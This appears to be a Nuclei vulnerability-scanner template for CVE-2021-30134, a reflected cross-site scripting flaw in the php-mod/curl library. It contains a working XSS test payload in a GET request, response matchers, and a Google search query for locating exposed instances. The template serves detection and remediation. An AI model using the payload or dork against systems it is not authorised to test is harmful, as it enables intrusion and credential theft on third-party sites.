51 lines
1.8 KiB
YAML
51 lines
1.8 KiB
YAML
id: CVE-2021-30134
|
|
|
|
info:
|
|
name: Php-mod/curl Library <2.3.2 - Cross-Site Scripting
|
|
author: theamanrawat
|
|
severity: medium
|
|
description: |
|
|
Php-mod/curl library before 2.3.2 contains a cross-site scripting vulnerability via the post_file_path_upload.php key parameter and the POST data to post_multidimensional.php. An attacker can inject arbitrary script, which can allow theft of cookie-based authentication credentials and launch of other attacks.
|
|
remediation: |
|
|
Upgrade to Php-mod/curl Library version 2.3.2 or later to mitigate the vulnerability.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/0b547728-27d2-402e-ae17-90d539344ec7
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-30134
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-30134
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00071
|
|
epss-percentile: 0.29548
|
|
cpe: cpe:2.3:a:php_curl_class_project:php_curl_class:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: php_curl_class_project
|
|
product: php_curl_class
|
|
google-query: inurl:"/php-curl-test/post_file_path_upload.php"
|
|
tags: cve,cve2021,xss,php-mod,wpscan
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/vendor/curl/curl/tests/server/php-curl-test/post_file_path_upload.php?key=<img%20src%20onerror%3dalert(document.domain)>"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- 'key":"<img src onerror=alert(document.domain)>"'
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a004730450220631f4b0b94503ccc26dc5e0674f2378259cb7620889061dd0acaae324e2b5f61022100e3b0a5578b6be70914b8bc3d0896d1f20a889e965f0152fe409a3f49fb09d97c:922c64590222798bb761d5b6d8e72950
|